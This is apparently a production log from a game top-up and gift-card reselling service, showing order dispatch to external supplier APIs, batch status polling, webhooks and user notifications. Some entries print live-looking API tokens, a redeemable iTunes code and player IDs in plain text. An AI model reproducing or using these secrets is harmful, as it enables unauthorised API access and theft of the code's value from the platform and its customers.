[2026-03-24 17:47:58] production.INFO: Operation sent successfully {"operation_id":163945,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-c9LW4du-1774363677","amount":47.97500000000000142108547152020037174224853515625,"status":"processing","product":"50$ USA Stockable","game":"Itunes USA","notes":[],"created_at":"2026-03-24 17:47:58"}},"processed_data":{"order_number":"ORD-c9LW4du-1774363677","amount":47.97500000000000142108547152020037174224853515625,"status":"processing","product":"50$ USA Stockable","game":"Itunes USA"}} 
[2026-03-24 17:48:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04"} 
[2026-03-24 17:48:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","total_operations":6,"sites_count":2} 
[2026-03-24 17:48:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-vBbMk-1774363676","ORD-c9LW4du-1774363677"]} 
[2026-03-24 17:48:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:48:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944} 
[2026-03-24 17:48:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 17:48:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:48:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"count":1} 
[2026-03-24 17:48:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"count":1} 
[2026-03-24 17:48:04] production.INFO: Bulk inserted order codes {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"codes_count":1} 
[2026-03-24 17:48:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"user_id":69,"notification_type":"order_approved","reference_id":179040} 
[2026-03-24 17:48:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":1,"total_refunds":0} 
[2026-03-24 17:48:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:48:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"processed":1,"errors":0} 
[2026-03-24 17:48:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"processed":1,"errors":0} 
[2026-03-24 17:48:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"orders_count":3,"order_ids":["ORD-LYPtqFs0-1774363619","ORD-H7iHs-1774363626","ORD-OBzx-1774363630"]} 
[2026-03-24 17:48:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944} 
[2026-03-24 17:48:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vBbMk-1774363676","operation_id":163944,"orders_count":3} 
[2026-03-24 17:48:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 17:48:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 17:48:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"count":3} 
[2026-03-24 17:48:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"count":3} 
[2026-03-24 17:48:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"user_id":7,"notification_type":"order_approved","reference_id":179036} 
[2026-03-24 17:48:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"user_id":315,"notification_type":"order_approved","reference_id":179035} 
[2026-03-24 17:48:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"user_id":7,"notification_type":"order_approved","reference_id":179037} 
[2026-03-24 17:48:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:48:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:48:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"processed":3,"errors":0} 
[2026-03-24 17:48:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942,"processed":3,"errors":0} 
[2026-03-24 17:48:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"f8OsUuxAUtVY5EYyr3EeRcll3Qqjazkk","execution_time":"2026-03-24 17:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OBzx-1774363630","operation_id":163942} 
[2026-03-24 17:48:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 17:48:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 7  
[2026-03-24 17:48:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 17:48:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 7  
[2026-03-24 17:48:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-c9LW4du-1774363677","status":"completed","notes":[],"codes":["X8PMPMH6KW9PNP6W"]}} 
[2026-03-24 17:48:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-c9LW4du-1774363677","status":"completed","codes":["X8PMPMH6KW9PNP6W"],"notes":[]} 
[2026-03-24 17:48:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:48:04] production.ERROR: Order not found or already processed. External ID: ORD-c9LW4du-1774363677  
[2026-03-24 17:48:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-c9LW4du-1774363677","status":"completed","codes_count":1} 
[2026-03-24 17:48:31] production.INFO: Constructing job for order: 179041  
[2026-03-24 17:48:34] production.INFO: Handling job for order: 179041  
[2026-03-24 17:48:34] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:48:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:48:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=4d514644-b6ba-4c70-bf9b-c2b2960ac182&Player_ID=0946438137  
[2026-03-24 17:48:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=4d514644-b6ba-4c70-bf9b-c2b2960ac182&Player_ID=0946438137","has_body":false} 
[2026-03-24 17:48:35] production.INFO: Operation sent successfully {"operation_id":163946,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-h9YbLYM-1774363715","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:48:35"}},"processed_data":{"order_number":"ORD-h9YbLYM-1774363715","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:49:02] production.INFO: Constructing job for order: 179042  
[2026-03-24 17:49:05] production.INFO: Handling job for order: 179042  
[2026-03-24 17:49:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:49:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:49:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=15000&uuid=a683387c-15fa-42d6-a0b2-d18626bf3633&Player_ID=86058910  
[2026-03-24 17:49:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=15000&uuid=a683387c-15fa-42d6-a0b2-d18626bf3633&Player_ID=86058910","has_body":false} 
[2026-03-24 17:49:06] production.INFO: Operation sent successfully {"operation_id":163947,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1oq25O7i-1774363745","amount":1.4676929999999999143511786314775235950946807861328125,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 17:49:06"}},"processed_data":{"order_number":"ORD-1oq25O7i-1774363745","amount":1.4676929999999999143511786314775235950946807861328125,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 17:50:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vBbMk-1774363676","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:50:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-vBbMk-1774363676","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:50:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:50:02] production.INFO: SendAcceptReject: Notification queued {"user_id":24,"notification_type":"order_approved","reference_id":179039} 
[2026-03-24 17:50:02] production.INFO: Order updated successfully. Order ID: 179039, Status: completed  
[2026-03-24 17:50:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vBbMk-1774363676","status":"completed","codes_count":0} 
[2026-03-24 17:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03"} 
[2026-03-24 17:50:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","total_operations":3,"sites_count":2} 
[2026-03-24 17:50:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-j5G7ZL-1774360319","ORD-1oq25O7i-1774363745"]} 
[2026-03-24 17:50:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:50:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1oq25O7i-1774363745","operation_id":163947} 
[2026-03-24 17:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:50:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 17:50:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:50:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1,"order_ids":["ORD-h9YbLYM-1774363715"]} 
[2026-03-24 17:50:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:50:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1} 
[2026-03-24 17:50:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 17:50:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:50:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"count":1} 
[2026-03-24 17:50:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"count":1} 
[2026-03-24 17:50:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"user_id":1056,"notification_type":"order_approved","reference_id":179041} 
[2026-03-24 17:50:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:50:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:50:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"processed":1,"errors":0} 
[2026-03-24 17:50:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946,"processed":1,"errors":0} 
[2026-03-24 17:50:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"XrJVGefrKgiEJdnmEuGTLHevReGTtjJT","execution_time":"2026-03-24 17:50:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h9YbLYM-1774363715","operation_id":163946} 
[2026-03-24 17:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:50:05] production.INFO: async() رجع: true  
[2026-03-24 17:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:50:07] production.INFO: Constructing job for order: 179043  
[2026-03-24 17:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 24  
[2026-03-24 17:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 17:50:10] production.INFO: Handling job for order: 179043  
[2026-03-24 17:50:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:50:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:50:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=b10fca30-5c54-4349-ac8d-bcb2d9792044&Player_ID=52288801555  
[2026-03-24 17:50:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=b10fca30-5c54-4349-ac8d-bcb2d9792044&Player_ID=52288801555","has_body":false} 
[2026-03-24 17:50:11] production.INFO: Operation sent successfully {"operation_id":163948,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iIrwd0M-1774363811","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:50:11"}},"processed_data":{"order_number":"ORD-iIrwd0M-1774363811","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 17:50:13] production.INFO: Constructing job for order: 179044  
[2026-03-24 17:50:14] production.INFO: Handling job for order: 179044  
[2026-03-24 17:50:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:50:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:50:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2000&uuid=6c209a21-06da-425f-84a5-38de5f7a5f9e&Player_ID=42885907  
[2026-03-24 17:50:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2000&uuid=6c209a21-06da-425f-84a5-38de5f7a5f9e&Player_ID=42885907","has_body":false} 
[2026-03-24 17:50:15] production.INFO: Operation sent successfully {"operation_id":163949,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-okH1j0K-1774363815","amount":3.4333445999999998576868165400810539722442626953125,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 17:50:15"}},"processed_data":{"order_number":"ORD-okH1j0K-1774363815","amount":3.4333445999999998576868165400810539722442626953125,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 17:50:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iIrwd0M-1774363811","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:50:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-iIrwd0M-1774363811","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:50:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:50:20] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":179043} 
[2026-03-24 17:50:20] production.INFO: Order updated successfully. Order ID: 179043, Status: completed  
[2026-03-24 17:50:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iIrwd0M-1774363811","status":"completed","codes_count":0} 
[2026-03-24 17:50:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 17:50:23] production.INFO: Constructing job for order: 179045  
[2026-03-24 17:50:24] production.INFO: Handling job for order: 179045  
[2026-03-24 17:50:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:50:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:50:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=862af3ce-1062-4dbb-b1b4-ccdb9d79582a&Player_ID=51540471860  
[2026-03-24 17:50:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=862af3ce-1062-4dbb-b1b4-ccdb9d79582a&Player_ID=51540471860","has_body":false} 
[2026-03-24 17:50:25] production.INFO: Operation sent successfully {"operation_id":163950,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vK2wOz-1774363824","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:50:25"}},"processed_data":{"order_number":"ORD-vK2wOz-1774363824","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
